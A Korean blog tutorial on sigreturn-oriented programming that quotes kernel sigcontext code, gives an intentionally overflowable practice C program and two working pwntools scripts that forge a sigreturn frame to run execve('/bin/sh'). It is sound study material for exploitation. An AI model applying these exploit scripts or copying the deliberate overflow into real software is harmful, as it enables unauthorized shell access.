[Pwn] SROP(Sigreturn-oriented programming)

코코·2023년 12월 25일
0

pwn

목록 보기
6/10

오늘은 SROP 공격 기법에 대해 공부해보려한다.
벌써 12월도 지나가고, 2024년이 다가온다. 내년에도 화이팅하자!🔥



SROP(Sigreturn-Oriented Programming)

SROP(Sigreturn-oriented programming)는 rt_sigreturn 시스템 콜을 사용하여 Exploit하는 기법이다.

💡 sigreturn 함수는 Signal을 처리하는 프로세스가 Kernel Mode에서 User Mode로 돌아올 때 Stack을 복원하기 위해 사용되는 함수이다.


sigreturn함수는 Stack을 복원하기 위해 restore_sigcontext함수를 호출하고 해당 함수는 COPY_SEG(), COPY() 함수 등을 이용하여 Stack에 저장된 값을 각 레지스터에 복사한다.

  • restore_sigcontext()
static bool restore_sigcontext(struct pt_regs *regs,
			       struct sigcontext __user *usc,
			       unsigned long uc_flags)
{
	/* sigcontext 구조체 선언되어 있음. */
	struct sigcontext sc;

	/* Always make any pending restarted system calls return -EINTR */
	current->restart_block.fn = do_no_restart_syscall;

	if (copy_from_user(&sc, usc, CONTEXT_COPY_SIZE))
		return false;

#ifdef CONFIG_X86_32
	set_user_gs(regs, sc.gs);
	regs->fs = sc.fs;
	regs->es = sc.es;
	regs->ds = sc.ds;
#endif /* CONFIG_X86_32 */

	regs->bx = sc.bx;
	regs->cx = sc.cx;
	regs->dx = sc.dx;
	regs->si = sc.si;
	regs->di = sc.di;
	regs->bp = sc.bp;
	regs->ax = sc.ax;
	regs->sp = sc.sp;
	regs->ip = sc.ip;

#ifdef CONFIG_X86_64
	regs->r8 = sc.r8;
	regs->r9 = sc.r9;
	regs->r10 = sc.r10;
	regs->r11 = sc.r11;
	regs->r12 = sc.r12;
	regs->r13 = sc.r13;
	regs->r14 = sc.r14;
	regs->r15 = sc.r15;
#endif /* CONFIG_X86_64 */

	/* Get CS/SS and force CPL3 */
	regs->cs = sc.cs | 0x03;
	regs->ss = sc.ss | 0x03;

	regs->flags = (regs->flags & ~FIX_EFLAGS) | (sc.flags & FIX_EFLAGS);
	/* disable syscall checks */
	regs->orig_ax = -1;

#ifdef CONFIG_X86_64
	/*
	 * Fix up SS if needed for the benefit of old DOSEMU and
	 * CRIU.
	 */
	if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) && user_64bit_mode(regs)))
		force_valid_ss(regs);
#endif

	return fpu__restore_sig((void __user *)sc.fpstate,
			       IS_ENABLED(CONFIG_X86_32));
}

restore_sigcontext() 함수의 코드를 보면, sigcontext구조체에 존재하는 각 멤버 변수의 값을 삽입하는 것을 볼 수 있다. 따라서 각 레지스터에 어떤 값을 덮어씌우고자 한다면 sigcontext구조체에 대해 알아야한다.


먼저 32비트의 sigcontext 구조체부터 살펴보자.

  • struct sigcontext - x86
struct sigcontext
{
  unsigned short gs, gsh;
  unsigned short fs, fsh;
  unsigned short es, esh;
  unsigned short ds, dsh;
  unsigned long edi;
  unsigned long esi;
  unsigned long ebp;
  unsigned long esp;
  unsigned long ebx;
  unsigned long edx;
  unsigned long ecx;
  unsigned long eax;
  unsigned long trapno;
  unsigned long err;
  unsigned long eip;
  unsigned short cs, __csh;
  unsigned long eflags;
  unsigned long esp_at_signal;
  unsigned short ss, __ssh;
  struct _fpstate * fpstate;
  unsigned long oldmask;
  unsigned long cr2;
};

다음으로는 64비트의 sigcontext 구조체이다.

  • struct sigcontext - x86_64
/* __x86_64__: */
struct sigcontext {
  __u64               r8;
  __u64               r9;
  __u64               r10;
  __u64               r11;
  __u64               r12;
  __u64               r13;
  __u64               r14;
  __u64               r15;
  __u64               rdi;
  __u64               rsi;
  __u64               rbp;
  __u64               rbx;
  __u64               rdx;
  __u64               rax;
  __u64               rcx;
  __u64               rsp;
  __u64               rip;
  __u64               eflags;     /* RFLAGS */
  __u16               cs;
  __u16               gs;
  __u16               fs;
  union {
      __u16           ss; 
      __u16           __pad0; 
  };
  __u64               err;
  __u64               trapno;
  __u64               oldmask;
  __u64               cr2;
  struct _fpstate __user      *fpstate;
#  ifdef __ILP32__
  __u32               __fpstate_pad;
#  endif
  __u64               reserved1[8];
};



Example

실습에 사용할 코드는 아래와 같다. Lazenca에 있는 예제로 실습하려고 한다.(컴파일을 했는데 syscall 가젯이 없어서 임의로 추가해줬다... 그리고 gcc 컴파일 옵션도 조금 바꿔줬다...)

// gcc -fno-stack-protector -o srop srop.c -ldl -no-pie

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

int gadget(){
    __asm("pop %rax");
    __asm("syscall");
    __asm("ret");
}
  
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 512);
}
  
void main(){
    seteuid(getuid());
    write(1,"Hello SROP\n",10);
    vuln();
}

Code는 엄청 간단하다.
바이너리를 실행하면 printf함수의 주소를 출력하고 read함수를 통해 buf 변수에 512바이트를 입력받는다. buf변수는 50바이트로 Stack Buffer Overflow가 발생한다.



Exploit

Exploit 시나리오는 아래와 같다.

  1. 라이브러리 베이스 주소 파악
    : 출력된 printf 함수의 주소를 바탕으로 라이브러리의 베이스 주소를 파악

  2. SROP
    : SROP 기법을 사용하여 Shell 획득



우선 syscall gadget의 위치부터 파악하자.

objdump -d srop | grep syscall -B1

다음으로는 system 함수와 "/bin/sh"의 문자열의 주소를 찾아야한다. gdb를 통해 Offset을 찾아보자.
binsh의 오프셋은 0x1b3d88이다. 또한 printf 함수의 오프셋은 0x64e40이다.



Exploit Payload

바로 Exploit Payload를 작성하자🔥

  • ex.py
from pwn import *

p = process('./srop')
context.clear(arch='amd64')
context.log_level = 'debug'

call_gadget = 0x40068b # pop rax; syscall;
syscall = 0x40068c # syscall
bss_addr = 0x601058 # BSS addr

binsh_offset = 0x1b3d88
system_offset = 0x4f420

p.recvuntil(b"address : ")
printf_addr = int(p.recvline()[2:-1], 16)
print("[*] printf address : ", hex(printf_addr)) 

libc_base = printf_addr - 0x64e40
binsh_addr = libc_base + binsh_offset
system_addr = libc_base + system_offset

payload = b"A" * 0x40 + b"B" * 0x8
payload += p64(call_gadget)
payload += p64(15)
# ucontext
payload += p64(0x0) * 5

# Struct sigcontext
payload += p64(0x0) * 8 # r8, r9.. ~ r15
payload += p64(binsh_addr) # rdi
payload += p64(0x0) # rsi
payload += p64(0x0) # rbp
payload += p64(0x0) # rbx
payload += p64(0x0) # rdx
payload += p64(0x3b) # rax
payload += p64(0x0) # rcx
payload += p64(syscall) # rsp
payload += p64(syscall) # rip
payload += p64(0x0)     #eflags
payload += p64(0x33)    #cs
payload += p64(0x0)     #gs
payload += p64(0x0)     #fs
payload += p64(0x2b)    #ss

p.sendline(payload)
p.interactive()

payload는 위와 같다! rax에 0x3b를 넣어 execve 함수를 호출한다.


💡 CS=0x33, SS=0x2b? SROP payload를 작성할 때 CS & SS 레지스터에 대한 값을 설정해야한다.

32bit OS에서는 CS : 0x73, SS : 0x7b.
64bit OS에서 실행되는 32bit 프로그램은 CS : 0x23, SS 0x2b가 사용된다고 한다.
64bit OS에서는 CS : 0x33, SS : 0x2b



SigreturnFrame

Pwntools에서 제공하는 SROP Exploit을 도와주는 클래스

사용방법은 간단하다. 위의 Exploit Code를 SigreturnFrame을 사용하여 수정해보자.
참고로 Exploit을 수행하려는 환경의 arch를 선언해주어야한다.

  • ex_bysigframe.py
from pwn import *

p = process('./srop')
context.clear(arch='amd64')
context.log_level = 'debug'

call_gadget = 0x40068b # pop rax; syscall;
syscall = 0x40068c # syscall
bss_addr = 0x601058 # BSS addr

binsh_offset = 0x1b3d88
system_offset = 0x4f420

pause()

p.recvuntil(b"address : ")
printf_addr = int(p.recvline()[2:-1], 16)
print("[*] printf address : ", hex(printf_addr)) 

libc_base = printf_addr - 0x64e40
binsh_addr = libc_base + binsh_offset
system_addr = libc_base + system_offset

# Use SigreturnFrame
ex = b"A" * 0x40 + b"B" * 0x8
ex += p64(call_gadget)
ex += p64(15)

frame = SigreturnFrame()
frame.rip = syscall
frame.rax = 0x3b
frame.rdi = binsh_addr

ex += bytes(frame)

p.sendline(ex)
p.interactive()

수동으로 작성할 때에는 CS, SS를 설정해줘야했지만 SigreturnFrame을 사용하면 따로 값을 넣어줄 필요가 없어 훨씬 간단해졌다.


끝 👋




※ 참고
👉 https://www.lazenca.net/display/TEC/02.SROP%28Sigreturn-oriented+programming%29+-+x64
👉 https://learn.dreamhack.io/11#36

profile
화이팅!

0개의 댓글